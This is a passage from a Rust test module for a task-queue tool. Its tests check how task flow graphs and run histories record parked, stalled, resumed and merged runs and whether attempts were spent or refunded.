16030        assert_eq!(h[2]["status"], "merged");
16031        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16032        assert_eq!(v["runs_unreadable"], 1);
16033        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16034        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16035        assert_eq!(nodes[4]["note"], "unreadable");
16036        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16037        assert_eq!(v["instruction"], "Do the thing");
16038        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16039
16040        // The run's own page links back to the task.
16041        let run = f.get(&format!("/api/runs/{a}")).await.json();
16042        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16043
16044        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16045    }
16046
16047    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16048        let mut s = RunState::new(
16049            PathBuf::from("/repo/magi"),
16050            "main".to_owned(),
16051            "0123456789abcdef".to_owned(),
16052            "Do it".to_owned(),
16053            Config::default(),
16054        );
16055        s.status = status;
16056        edit(&mut s);
16057        s
16058    }
16059
16060    fn flow_task(runs: &[&str]) -> Task {
16061        let mut t = Task::new(
16062            "t".to_owned(),
16063            "Do it".to_owned(),
16064            PathBuf::from("/repo/magi"),
16065            Source::Human,
16066        );
16067        for r in runs {
16068            t.start((*r).to_owned());
16069        }
16070        // Synthetic flows without RunPass records model legacy queue data.
16071        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16072        t
16073    }
16074
16075    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16076        let h = task_history(task, |id| {
16077            states
16078                .iter()
16079                .find(|(i, _)| *i == id)
16080                .and_then(|(_, s)| s.clone())
16081        });
16082        task_flow(task, &h, 5, None)
16083    }
16084
16085    #[test]
16086    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16087        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16088        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16089        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16090        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16091        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16092        let run = flow_run(RunStatus::Implementing, |s| {
16093            s.created_at = created;
16094            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16095            s.passes[0].started_at = first;
16096            s.passes[1].started_at = resumed;
16097        });
16098        let mut task = flow_task(&[RUN_X, RUN_X]);
16099        task.created_at = queued;
16100        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16101        task.status = TaskStatus::Held;
16102        task.held_at = Some(held);
16103        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16104        assert_eq!(
16105            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16106            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16107        );
16108        assert!(flow.nodes.iter().all(|n| n.time_expected));
16109        let json = serde_json::to_value(&flow).unwrap();
16110        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16111        assert_eq!(json["nodes"][2]["time_expected"], true);
16112    }
16113
16114    #[test]
16115    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16116        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16117        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16118        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16119        // These timestamps are not the start of the current status.
16120        task.held_at = Some(created);
16121        task.blocked_at = Some(created);
16122        for status in [
16123            TaskStatus::Queued,
16124            TaskStatus::Running,
16125            TaskStatus::Blocked,
16126            TaskStatus::Done,
16127            TaskStatus::Failed,
16128            TaskStatus::Parked,
16129            TaskStatus::Held,
16130        ] {
16131            task.status = status;
16132            if status == TaskStatus::Held {
16133                task.held_at = None;
16134            }
16135            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16136            assert_eq!(flow.nodes[1].started_at, Some(created));
16137            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16138            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16139            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16140            let json = serde_json::to_value(&flow).unwrap();
16141            assert!(json["nodes"][3]["started_at"].is_null());
16142            assert_eq!(json["nodes"][3]["time_expected"], true);
16143        }
16144    }
16145
16146    #[test]
16147    fn flow_context_links_do_not_expect_start_times() {
16148        let mut task = flow_task(&[]);
16149        task.source = Source::Agent {
16150            run: "chat-id".to_owned(),
16151            node: "chat".to_owned(),
16152        };
16153        let origin = followup_origin(&fu(None), |_| None, |_| None);
16154        let flow = task_flow(&task, &[], 5, Some(&origin));
16155        for node in &flow.nodes[..2] {
16156            assert!(!node.time_expected);
16157            assert_eq!(node.started_at, None);
16158        }
16159        assert!(flow.nodes[2].time_expected);
16160    }
16161
16162    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16163        crate::queue::FollowUp {
16164            run: "20260901-000000-aaaa".to_owned(),
16165            origin_task: origin_task.map(str::to_owned),
16166            pr: "https://example.com/o/r/pull/1".to_owned(),
16167            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16168                .map(str::to_owned)
16169                .to_vec(),
16170            generation: 1,
16171        }
16172    }
16173
16174    fn parent_task() -> Task {
16175        let mut p = flow_task(&[]);
16176        p.title = "Parent title".to_owned();
16177        p.status = TaskStatus::Done;
16178        p
16179    }
16180
16181    #[test]
16182    fn flow_opens_with_the_parent_task_of_a_followup() {
16183        let p = parent_task();
16184        let pid = p.id.clone();
16185        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16186        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16187        let n = &f.nodes[0];
16188        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16189        assert_eq!(
16190            n.label,
16191            format!("Follow-up of {}", crate::queue::short(&pid))
16192        );
16193        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16194        assert_eq!(n.status, Some("done"));
16195        assert_eq!(n.status_of, "task");
16196        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16197        assert_eq!(f.nodes[1].key, "start");
16198        assert_eq!(f.edges[0].from, "origin");
16199        assert_eq!(
16200            f.edges[0].label,
16201            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16202        );
16203    }
16204
16205    #[test]
16206    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16207        let o = followup_origin(
16208            &fu(Some("gone")),
16209            |_| None,
16210            |_| {
16211                Some(RunState::new(
16212                    std::path::PathBuf::from("."),
16213                    "main".to_owned(),
16214                    "0".to_owned(),
16215                    "t".to_owned(),
16216                    crate::config::Config::default(),
16217                ))
16218            },
16219        );
16220        assert!(o.parent.is_none());
16221        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16222        let n = &f.nodes[0];
16223        assert_eq!(n.status_of, "run");
16224        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16225        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16226    }
16227
16228    #[test]
16229    fn flow_followup_with_nothing_readable_has_no_link() {
16230        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16231        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16232        let n = &f.nodes[0];
16233        assert_eq!(n.href, None);
16234        assert_eq!(n.note, Some("unreadable"));
16235        assert!(!n.readable);
16236    }
16237
16238    #[test]
16239    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16240        let o = followup_origin(&fu(None), |_| None, |_| None);
16241        let mut t = flow_task(&[]);
16242        t.origin_chat = Some("c1".to_owned());
16243        let f = task_flow(&t, &[], 5, Some(&o));
16244        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16245        t.source = Source::Agent {
16246            run: "c1".to_owned(),
16247            node: crate::queue::CHAT_NODE.to_owned(),
16248        };
16249        let f = task_flow(&t, &[], 5, Some(&o));
16250        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16251        assert_eq!(
16252            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16253            ("chat", "origin")
16254        );
16255    }
16256
16257    #[test]
16258    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16259        let mut p = parent_task();
16260        p.id = "a b/c".to_owned();
16261        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16262        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16263    }
16264
16265    #[test]
16266    fn flow_opens_with_the_chat_that_queued_the_task() {
16267        let mut t = flow_task(&[]);
16268        t.source = Source::Agent {
16269            run: "a b/c".to_owned(),
16270            node: crate::queue::CHAT_NODE.to_owned(),
16271        };
16272        let f = flow_for(&t, &[]);
16273        assert_eq!(f.nodes[0].key, "chat");
16274        assert_eq!(f.nodes[0].kind, "chat");
16275        assert_eq!(
16276            f.nodes[0].label,
16277            format!("Chat {}", crate::queue::short("a b/c"))
16278        );
16279        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16280        assert_eq!(f.nodes[1].key, "start");
16281        assert_eq!(
16282            f.edges[0],
16283            FlowEdge {
16284                from: "chat".to_owned(),
16285                to: "start".to_owned(),
16286                label: "queued from chat".to_owned(),
16287                attempt: AttemptCost::None,
16288            }
16289        );
16290    }
16291
16292    #[test]
16293    fn flow_has_no_chat_box_for_other_sources() {
16294        for source in [
16295            Source::Human,
16296            Source::Issue {
16297                number: 3,
16298                repo: "o/r".to_owned(),
16299            },
16300            Source::Agent {
16301                run: "20260904-014455-ab12".to_owned(),
16302                node: "implement".to_owned(),
16303            },
16304        ] {
16305            let mut t = flow_task(&[]);
16306            t.source = source;
16307            let f = flow_for(&t, &[]);
16308            assert_eq!(f.nodes[0].key, "start");
16309            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16310            assert!(f.edges.iter().all(|e| e.from != "chat"));
16311        }
16312    }
16313
16314    const FA: &str = "20260902-140501-aaaa";
16315    const FB: &str = "20260902-140502-bbbb";
16316
16317    #[test]
16318    fn flow_follows_blocked_retry_merged_to_done() {
16319        let mut t = flow_task(&[FA, FB]);
16320        t.status = TaskStatus::Done;
16321        let f = flow_for(
16322            &t,
16323            &[
16324                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16325                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16326            ],
16327        );
16328        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16329        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16330        assert_eq!(f.edges.len(), 3);
16331        assert_eq!(f.edges[0].label, "claimed");
16332        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16333        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16334        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16335        assert_eq!(
16336            f.nodes[2].href.as_deref(),
16337            Some("#/runs/20260902-140502-bbbb")
16338        );
16339        assert!(f.nodes[2].decided);
16340    }
16341
16342    #[test]
16343    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16344        let quota = || {
16345            flow_run(RunStatus::Stalled, |s| {
16346                s.quota.push(crate::run::QuotaLoss {
16347                    seat: "judge-1".to_owned(),
16348                    node: "judge".to_owned(),
16349                    at: Timestamp::now(),
16350                    reset: None,
16351                })
16352            })
16353        };
16354        let mut t = flow_task(&[FA, FA]);
16355        t.status = TaskStatus::Queued;
16356        let f = flow_for(&t, &[(FA, Some(quota()))]);
16357        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16358        assert_eq!(f.nodes[1].note, Some("interrupted"));
16359        assert_eq!(
16360            f.nodes[1].status, None,
16361            "no outcome copied onto an earlier pass"
16362        );
16363        assert_eq!(
16364            f.edges[1].attempt,
16365            AttemptCost::Unknown,
16366            "a resume does not prove the earlier pass was refunded"
16367        );
16368        assert!(f.edges[1].label.contains("resume the same run"));
16369        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16370        assert_eq!(
16371            f.edges[2].label,
16372            "stalled after a resume, refund unknown \u{2192} queued"
16373        );
16374        assert!(!f.nodes[2].decided, "a stall is not a decision");
16375        assert_eq!(f.nodes[2].note, Some("no verdict"));
16376    }
16377
16378    #[test]
16379    fn flow_single_pass_quota_stall_is_refunded() {
16380        let t = flow_task(&[FA]);
16381        let f = flow_for(
16382            &t,
16383            &[(
16384                FA,
16385                Some(flow_run(RunStatus::Stalled, |s| {
16386                    s.quota.push(crate::run::QuotaLoss {
16387                        seat: "judge-1".to_owned(),
16388                        node: "judge".to_owned(),
16389                        at: Timestamp::now(),
16390                        reset: None,
16391                    })
16392                })),
16393            )],
16394        );
16395        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16396    }
16397
16398    #[test]
16399    fn flow_parked_refunds_and_stall_without_quota_spends() {
16400        let mut t = flow_task(&[FA]);
16401        t.status = TaskStatus::Queued;
16402        let f = flow_for(
16403            &t,
16404            &[(
16405                FA,
16406                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16407            )],
16408        );
16409        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16410        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16411        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16412        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16413        assert!(!f.nodes[1].decided);
16414    }
16415
16416    #[test]
16417    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16418        let t = flow_task(&[FA, FB]);
16419        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16420        assert_eq!(f.nodes[1].note, Some("unreadable"));
16421        assert!(!f.nodes[1].readable);
16422        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16423        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16424    }
16425
16426    #[test]
16427    fn flow_names_the_branch_of_a_review_only_run() {
16428        let t = flow_task(&[FA]);
16429        let f = flow_for(
16430            &t,
16431            &[(
16432                FA,
16433                Some(flow_run(RunStatus::Merged, |s| {
16434                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16435                })),
16436            )],
16437        );
16438        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16439        assert_eq!(
16440            f.nodes[1].detail.as_deref(),
16441            Some("review-only run of branch magi/x/A")
16442        );
16443    }
16444
16445    #[test]
16446    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16447        let mut t = flow_task(&[FA]);
16448        t.status = TaskStatus::Held;
16449        let pr = crate::run::PrRecord {
16450            url: "https://example.test/pr/1".to_owned(),
16451            number: 1,
16452            state: "open".to_owned(),
16453            checks: "green".to_owned(),
16454            round: 0,
16455            rounds: 3,
16456            red_at_merge: Vec::new(),
16457        };
16458        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16459        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16460        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16461        t.status = TaskStatus::Done;
16462        let f = flow_for(&t, &[(FA, Some(blocked))]);
16463        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16464    }
16465
16466    #[test]
16467    fn flow_with_no_runs_goes_from_queued_to_queued() {
16468        let t = flow_task(&[]);
16469        let f = flow_for(&t, &[]);
16470        assert_eq!(f.nodes.len(), 2);
16471        assert_eq!(f.edges.len(), 1);
16472        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16473        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16474    }
16475
16476    /// A run parked mid-flight keeps a non-terminal status; the page must
16477    /// still say why it stopped and that the attempt came back.
16478    #[test]
16479    fn a_parked_non_terminal_run_is_explained_as_parked() {
16480        let mut s = RunState::new(
16481            PathBuf::from("/repo/magi"),
16482            "main".to_owned(),
16483            "0123456789abcdef".to_owned(),
16484            "Do it".to_owned(),
16485            Config::default(),
16486        );
16487        s.status = RunStatus::Implementing;
16488        s.parked = true;
16489        let task = Task::new(
16490            "t".to_owned(),
16491            "Do it".to_owned(),
16492            PathBuf::from("/repo/magi"),
16493            Source::Human,
16494        );
16495        let v = task_run_view(
16496            "20260902-140501-aaaa",
16497            Some(&s),
16498            RunSlot {
16499                n: 1,
16500                resumed: false,
16501                resumed_later: None,
16502                prior: None,
16503                last: true,
16504                ..RunSlot::default()
16505            },
16506            &task,
16507        );
16508        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16509    }
16510
16511    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16512        let mut s = flow_run(RunStatus::Implementing, edit);
16513        s.parked = false;
16514        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16515        task_run_view(
16516            "20260902-140501-aaaa",
16517            Some(&s),
16518            RunSlot {
16519                n: 1,
16520                resumed: false,
16521                resumed_later: Some(2),
16522                prior: None,
16523                last: false,
16524                ..RunSlot::default()
16525            },
16526            &task,
16527        )
16528    }
16529
16530    #[test]
16531    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16532        let v = earlier_pass_view(|_| {});
16533        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16534        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16535        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16536        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16537        assert_eq!(v.exit, RunExit::Interrupted);
16538        assert_eq!(v.attempt, AttemptCost::Unknown);
16539    }
16540
16541    #[test]
16542    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16543        let v = earlier_pass_view(|s| {
16544            s.quota.push(crate::run::QuotaLoss {
16545                seat: "judge-1".to_owned(),
16546                node: "judge".to_owned(),
16547                at: Timestamp::now(),
16548                reset: None,
16549            });
16550        });
16551        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16552        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16553        assert_eq!(v.attempt, AttemptCost::Unknown);
16554    }
16555
16556    #[test]
16557    fn the_current_pass_states_its_recorded_cause_and_cost() {
16558        let slot = || RunSlot {
16559            n: 1,
16560            resumed: false,
16561            resumed_later: None,
16562            prior: None,
16563            last: true,
16564            ..RunSlot::default()
16565        };
16566        let task = flow_task(&["20260902-140501-aaaa"]);
16567        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16568        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16569        assert_eq!(
16570            (v.exit, v.attempt),
16571            (RunExit::Parked, AttemptCost::Refunded)
16572        );
16573        let spent = flow_run(RunStatus::Blocked, |_| {});
16574        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16575        assert_eq!(v.attempt, AttemptCost::Spent);
16576        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16577    }
16578
16579    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16580        crate::run::RunPass {
16581            index,
16582            started_at: Timestamp::now(),
16583            resumed: index > 0,
16584            ended_at: end.as_ref().map(|_| Timestamp::now()),
16585            end,
16586            task_entry: true,
16587        }
16588    }
16589
16590    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16591        Some(crate::run::PassEnd::Parked { cause })
16592    }
16593
16594    fn upgrade_cause() -> crate::run::ParkCause {
16595        crate::run::ParkCause::Upgrade {
16596            from: "0.121.0".to_owned(),
16597            to: Some("0.121.1".to_owned()),
16598        }
16599    }
16600
16601    fn settled_pass(
16602        run: &str,
16603        index: usize,
16604        cost: crate::queue::PassCost,
16605    ) -> crate::queue::TaskPass {
16606        crate::queue::TaskPass {
16607            run: run.to_owned(),
16608            pass_index: index,
16609            started_at: None,
16610            cost,
16611            attempts_after: 1,
16612            settled_at: Timestamp::now(),
16613            parked: None,
16614        }
16615    }
16616
16617    const RUN_X: &str = "20261011-223708-4334";
16618
16619    #[test]
16620    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16621        use crate::queue::PassCost;
16622        let run = flow_run(RunStatus::Implementing, |s| {
16623            s.passes = vec![
16624                recorded_pass(0, parked(upgrade_cause())),
16625                recorded_pass(1, None),
16626            ];
16627        });
16628        let mut task = flow_task(&[RUN_X, RUN_X]);
16629        task.attempts = 1;
16630        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16631        let h = task_history(&task, |_| Some(run.clone()));
16632        assert_eq!(h.len(), 2);
16633        assert_eq!(h[0].kind, "competition");
16634        assert_eq!(h[1].kind, "resume");
16635        assert_eq!(
16636            (h[0].exit, h[0].attempt),
16637            (RunExit::Parked, AttemptCost::Refunded)
16638        );
16639        assert!(
16640            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16641            "{}",
16642            h[0].outcome
16643        );
16644        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16645        assert!(
16646            h[0].outcome.contains("pass #2 resumed the same run"),
16647            "{}",
16648            h[0].outcome
16649        );
16650        assert!(
16651            h[0].outcome.contains("pass 1 of 2 over run"),
16652            "{}",
16653            h[0].outcome
16654        );
16655        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16656        assert_eq!(
16657            h[0].exit_label,
16658            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16659        );
16660        let f = task_flow(&task, &h, 2, None);
16661        // Two passes of one run, one of two attempts consumed.
16662        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16663        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16664        assert!(
16665            f.edges[1].label.contains("upgrade 0.121.0"),
16666            "{}",
16667            f.edges[1].label
16668        );
16669        assert!(
16670            f.edges[1].label.contains("resume the same run"),
16671            "{}",
16672            f.edges[1].label
16673        );
16674        assert_eq!(f.nodes[1].note, Some("parked"));
16675    }
16676
16677    #[test]
16678    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16679        let mut a = flow_run(RunStatus::Implementing, |s| {
16680            s.passes = vec![
16681                recorded_pass(0, parked(upgrade_cause())),
16682                recorded_pass(1, None),
16683            ];
16684        });
16685        let mut b = flow_run(RunStatus::Failed, |s| {
16686            s.passes = vec![recorded_pass(0, None)];
16687        });
16688        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16689        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16690        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16691        let mut task = flow_task(&[]);
16692        task.start("a".into());
16693        task.start("b".into());
16694        task.start("a".into());
16695        assert_eq!(task.runs, ["b", "a"]);
16696        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16697        let h = task_history(&task, |id| {
16698            Some(if id == "a" { a.clone() } else { b.clone() })
16699        });
16700        assert_eq!(
16701            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16702            ["a", "b", "a"]
16703        );
16704        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16705        assert!(h[0].outcome.contains("upgrade"));
16706        assert_eq!(h[2].kind, "resume");
16707        assert!(h[2].pass.is_some());
16708        // The old repeated-id format must show the same recorded passes.
16709        task.runs = vec!["a".into(), "b".into(), "a".into()];
16710        let old = task_history(&task, |id| {
16711            Some(if id == "a" { a.clone() } else { b.clone() })
16712        });
16713        assert_eq!(
16714            old.iter()
16715                .map(|v| (&v.id, &v.kind, v.attempt))
16716                .collect::<Vec<_>>(),
16717            h.iter()
16718                .map(|v| (&v.id, &v.kind, v.attempt))
16719                .collect::<Vec<_>>()
16720        );
16721    }
16722
16723    #[test]
16724    fn an_upgrade_whose_target_was_not_known_says_so() {
16725        let run = flow_run(RunStatus::Implementing, |s| {
16726            s.passes = vec![
16727                recorded_pass(
16728                    0,
16729                    parked(crate::run::ParkCause::Upgrade {
16730                        from: "0.121.0".to_owned(),
16731                        to: None,
16732                    }),
16733                ),
16734                recorded_pass(1, None),
16735            ];
16736        });
16737        let task = flow_task(&[RUN_X, RUN_X]);
16738        let h = task_history(&task, |_| Some(run.clone()));
16739        assert!(
16740            h[0].outcome.contains("upgrade from 0.121.0"),
16741            "{}",
16742            h[0].outcome
16743        );
16744        // No settle record: the refund is not claimed.
16745        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16746    }
16747
16748    #[test]
16749    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16750        use crate::queue::PassCost;
16751        use crate::run::ParkCause;
16752        let run = flow_run(RunStatus::Implementing, |s| {
16753            s.passes = vec![
16754                recorded_pass(0, parked(upgrade_cause())),
16755                recorded_pass(
16756                    1,
16757                    parked(ParkCause::Interrupt {
16758                        reason: "task a1b2 asked to run first".to_owned(),
16759                    }),
16760                ),
16761                recorded_pass(2, parked(ParkCause::Operator)),
16762                recorded_pass(3, None),
16763            ];
16764        });
16765        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16766        task.attempts = 1;
16767        task.passes = (0..3)
16768            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16769            .collect();
16770        let h = task_history(&task, |_| Some(run.clone()));
16771        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16772        assert!(
16773            h[1].outcome.contains("task a1b2 asked to run first"),
16774            "{}",
16775            h[1].outcome
16776        );
16777        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16778        assert!(
16779            h[2].outcome.contains("operator asked the loop to park"),
16780            "{}",
16781            h[2].outcome
16782        );
16783        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16784        let f = task_flow(&task, &h, 2, None);
16785        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16786    }
16787
16788    #[test]
16789    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16790        let run = flow_run(RunStatus::Implementing, |s| {
16791            s.passes = vec![
16792                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16793                recorded_pass(1, None),
16794            ];
16795        });
16796        let task = flow_task(&[RUN_X, RUN_X]);
16797        let h = task_history(&task, |_| Some(run.clone()));
16798        assert_eq!(h[0].exit, RunExit::Interrupted);
16799        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16800        assert!(
16801            h[0].outcome.contains("without recording why"),
16802            "{}",
16803            h[0].outcome
16804        );
16805        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16806        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16807    }
16808
16809    #[test]
16810    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16811        use crate::queue::PassCost;
16812        // Three entries, but the run only began keeping passes at the last
16813        // two: the first is legacy and must not be given a cause.
16814        let run = flow_run(RunStatus::Implementing, |s| {
16815            s.passes = vec![
16816                recorded_pass(0, parked(upgrade_cause())),
16817                recorded_pass(1, None),
16818            ];
16819        });
16820        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16821        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16822        let h = task_history(&task, |_| Some(run.clone()));
16823        assert!(h[0].pass.is_none());
16824        assert_eq!(h[0].exit, RunExit::Interrupted);
16825        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16826        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16827        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16828        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16829        // A run with no passes at all is entirely unknown.
16830        let legacy = flow_run(RunStatus::Implementing, |_| {});
16831        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16832        assert!(h.iter().all(|v| v.pass.is_none()));
16833        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16834    }
16835
16836    #[test]
16837    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16838        use crate::queue::PassCost;
16839        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16840        // task. The two entries are passes 0 and 2.
16841        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16842        web.task_entry = false;
16843        let run = flow_run(RunStatus::Implementing, |s| {
16844            s.passes = vec![
16845                recorded_pass(0, parked(upgrade_cause())),
16846                web.clone(),
16847                recorded_pass(2, None),
16848            ];
16849        });
16850        let mut task = flow_task(&[RUN_X, RUN_X]);
16851        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16852        let h = task_history(&task, |_| Some(run.clone()));
16853        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16854        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16855
16856        // Legacy first entry, then a web resume that parked for an upgrade,
16857        // then the daemon's pass: the legacy entry must stay unknown.
16858        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16859        web0.task_entry = false;
16860        let run = flow_run(RunStatus::Implementing, |s| {
16861            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16862        });
16863        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16864        assert!(h[0].pass.is_none());
16865        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16866        assert!(h[1].pass.is_some());
16867    }
16868
16869    #[tokio::test]
16870    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16871        let dir = tempfile::tempdir().unwrap();
